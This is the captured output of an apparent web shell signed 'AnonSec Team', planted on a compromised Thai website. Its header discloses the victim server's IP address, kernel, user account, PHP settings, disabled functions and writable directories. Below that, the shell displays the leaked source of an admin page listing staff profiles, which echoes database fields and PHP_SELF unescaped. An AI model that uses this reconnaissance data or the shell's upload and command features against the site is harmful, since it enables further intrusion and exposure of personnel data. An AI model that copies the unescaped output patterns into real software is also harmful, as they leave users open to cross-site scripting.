NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.220.192.109
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/admin/top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/admin/top//ChartProfileMain.php
<?php  
    require_once('session_backend_administrator.php');
header('Content-Type: text/html; charset=UTF-8');
    if($STT_login=="admin_login_true"){
        if( !isset($_GET['txt_search']) or $_GET['txt_search']=="" ){

            $sql_cdata = "SELECT COUNT(*) FROM `data_profile` ";
            $qr_cdata = mysqli_query($con_db_administrator, $sql_cdata) or trigger_error("SQL", E_USER_ERROR);
            $rs_cdata = mysqli_fetch_row($qr_cdata);
            $numrows = $rs_cdata[0];
            $rowsperpage = 20;
            $totalpages = ceil($numrows / $rowsperpage);
            if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) {
                $currentpage = (int) $_GET['currentpage'];
            } else {
                $currentpage = 1;
            }
            if ($currentpage > $totalpages) {
                $currentpage = $totalpages;
            }
            if ($currentpage < 1) {
                $currentpage = 1;
            }
            $offset = ($currentpage - 1) * $rowsperpage;
            
            $sql_data = "SELECT * FROM `data_profile` ORDER BY `data_profile`.`id_profile` ASC LIMIT $offset, $rowsperpage ";
            $qr_data = mysqli_query($con_db_administrator,$sql_data) or die( mysqli_error($con_db_administrator));
            
        }else{
            $name_search = $con_db_administrator->real_escape_string($_GET['txt_search']);

            $sql_data = "SELECT COUNT(*) FROM `data_profile` WHERE `name_profile` LIKE '%$name_search%' ";
            $qr_data = mysqli_query($con_db_administrator, $sql_data) or trigger_error("SQL", E_USER_ERROR);
            $rs_data = mysqli_fetch_row($qr_data);
            $numrows = $rs_data[0];
            $rowsperpage = 20;
            $totalpages = ceil($numrows / $rowsperpage);
            if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) {
                $currentpage = (int) $_GET['currentpage'];
            } else {
                $currentpage = 1;
            }
            if ($currentpage > $totalpages) {
                $currentpage = $totalpages;
            }
            if ($currentpage < 1) {
                $currentpage = 1;
            }
            $offset = ($currentpage - 1) * $rowsperpage;
            
            $sql_data = "SELECT * FROM `data_profile` WHERE `name_profile` LIKE '%$name_search%' ORDER BY `data_profile`.`id_profile` ASC LIMIT $offset, $rowsperpage ";
            $qr_data = mysqli_query($con_db_administrator,$sql_data) or die( mysqli_error($con_db_administrator));
        }

    }else{
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณาเข้าสู่ระบบ');
                window.location.replace('../index');
            </SCRIPT>";
        exit;
    }
?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>
    </head>
    <body class="" >
        <?php  include_once ("menu.php"); ?>
        <div class="container pt-3 pb-4 " >
            <div class="row ">
                <div class="col text-secondary" >
                    <div class="p-1 ps-2 box-link " ><a href="../backend-administrator" class="link-info">หน้าหลัก</a> / บุคลากร / ข้อมูลบุคลากร</div>
                </div>
                <div class="w-100 pb-4"></div>
                <div class="col m-auto" >
                    <div class="bg-line-1"></div>
                </div>
                <div class="col-auto ">
                    <span class="fs-36 fw-700">ข้อมูลบุคลากร</span>
                </div>
                <div class="col m-auto" >
                    <div class="bg-line-1"></div>
                </div>
            </div>

            <div class="row mt-3 mb-4">
                <div class="col clearfix pb-2" >
                    <div class="float-start">
                        <form action="ChartProfileMain" method="GET">
                            <div class="input-group rounded-5">
                                <input type="text" class="form-control form-control-sm" placeholder="กรอกชื่อที่ต้องการค้นหา" name="txt_search">
                                <button class="btn btn-sm btn-secondary rounded-end-5" type="submit"><i class="fas fa-search me-1" ></i> ค้นหาชื่อ </button>
                            </div>
                        </form>
                    </div>
                    <div class="float-end">
                        <a class="btn btn-sm btn-dark rounded-5 ps-3 pe-3" href="ChartProfileMain-adddata" role="button"><i class="fas fa-plus-square text-warning me-1" ></i> เพิ่มข้อมูลใหม่</a>
                    </div>
                </div>
                <div class="w-100"></div>
                <div class="col">
                    <div class="w-100 overflow-x-auto">
                        <table class="table table-bordered table-striped table-hover mb-2 tball-mw">
                            <thead >
                                <tr class="text-center">
                                    <th style="width:10%">ลำดับ</th>
                                    <th style="width:24%">ชื่อหน่วยงาน</th>
                                    <th style="width:24%">ชื่อตำแหน่ง</th>
                                    <th style="width:36%">ชื่อบุคลากร</th>
                                    <th style="width:6%">จัดการ</th>
                                </tr>
                            </thead>
                            <tbody class="table-group-divider fs-16">
                                <?php
                                    while($rs_data = mysqli_fetch_array($qr_data)){
                                ?>
                                    <tr>
                                        <td class="text-center"><?php echo $rs_data["id_profile"];?></td>
                                        <td class="text-center"><?php echo $rs_data["name_group_profile"];?></td>
                                        <td class="text-center"><?php echo $rs_data["name_position_profile"];?></td>
                                        <th style="background-color:#fffbe6;"><?php echo $rs_data["name_profile"];?></th>
                                        <td class="text-center fs-18" >
                                            <a href="ChartProfileMain-edit?id=<?php echo $rs_data["id_profile"]; ?>&name=<?php echo $rs_data["name_profile"]; ?>" class="link-dark" data-bs-toggle="tooltip" data-bs-title="ปรับปรุงข้อมูล"><i class="fas fa-edit" ></i></a> 
                                            <a href="action/del-ChartProfileMain?id=<?php echo $rs_data["id_profile"]; ?>&name=<?php echo $rs_data["name_profile"]; ?>&img=<?php echo $rs_data["img_profile"]; ?>" class="link-dark" data-bs-toggle="tooltip" data-bs-title="ลบข้อมูล" onclick="return confirm('ต้องการลบข้อมูลบุคลากรนี้ ใช่หรือไม่?');" ><i class="fas fa-trash-alt" ></i></a> 
                                        </td>
                                    </tr>
                                <?php } ?>
                                <?php 
                                    if($numrows=="0"){ echo '<tr><td colspan="7"><div class="w-100 text-center mt-5 mb-5 text-secondary opacity-50 fs-20" ><i class="fas fa-eye-slash"></i> ไม่พบข้อมูล</div></td></tr>';}
                                ?>

                            </tbody>                            
                        </table>
                    </div>
                    <!------------- NUMBER PAGE ------------->
                    <div class="mt-2 fs-12 w-100 text-secondary clearfix">
                        <div class="float-start lh-sm">
                            แสดงข้อมูลตั้งแต่ 1 ถึง 20 <br class="showTab">จากข้อมูลทั้งหมด <span class="text-primary"><?php echo $numrows; ?></span> ข้อมูล
                        </div>
                        <div class="float-end">
                            <div aria-label="Page navigation example">
                                <ul class="pagination pagination-sm justify-content-end">
                                    <?php

                                    $range = 5;
                                    if ($currentpage > 1) {
                                        echo " <li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=1' aria-label='Previous'>
                                                    <i class='fas fa-angle-double-left'></i>
                                                </a>
                                                </li>";
                                        $prevpage = $currentpage - 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$prevpage' aria-label='Previous'>
                                                <i class='fas fa-angle-left'></i>
                                                </a>
                                            </li>";
                                    } 

                                    for ($x = ($currentpage - $range); $x < (($currentpage + $range) + 1); $x++) {
                                        if (($x > 0) && ($x <= $totalpages)) {
                                            if ($x == $currentpage) {

                                            echo "<li class='page-item active' aria-current='page'>
                                                        <a class='page-link text-bg-secondary' href='#'>$x <span class='sr-only'>(current)</span></a>
                                                    </li> ";

                                            } else {
                                            echo " <li class='page-item'><a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$x'>$x</a></li>";
                                            }
                                        }
                                    }

                                    if ($currentpage != $totalpages) {
                                        $nextpage = $currentpage + 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$nextpage' aria-label='Next'>
                                                <i class='fas fa-angle-right'></i>
                                                </a>
                                            </li>";
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$totalpages' aria-label='Next'>
                                                <i class='fas fa-angle-double-right'></i>
                                                </a>
                                            </li>";
                                    } 
                                    ?>

                                    </ul>
                            </div>       
                        </div>
                    </div>
                    <!--------------------------------------->

                </div>
            </div>

            <?php  include_once ("../footer.php"); ?>
            <script>
                const tooltipTriggerList = document.querySelectorAll('[data-bs-toggle="tooltip"]')
                const tooltipList = [...tooltipTriggerList].map(tooltipTriggerEl => new bootstrap.Tooltip(tooltipTriggerEl))
            </script>
        </div>
    </body>

</html>

Anon7 - 2022
AnonSec Team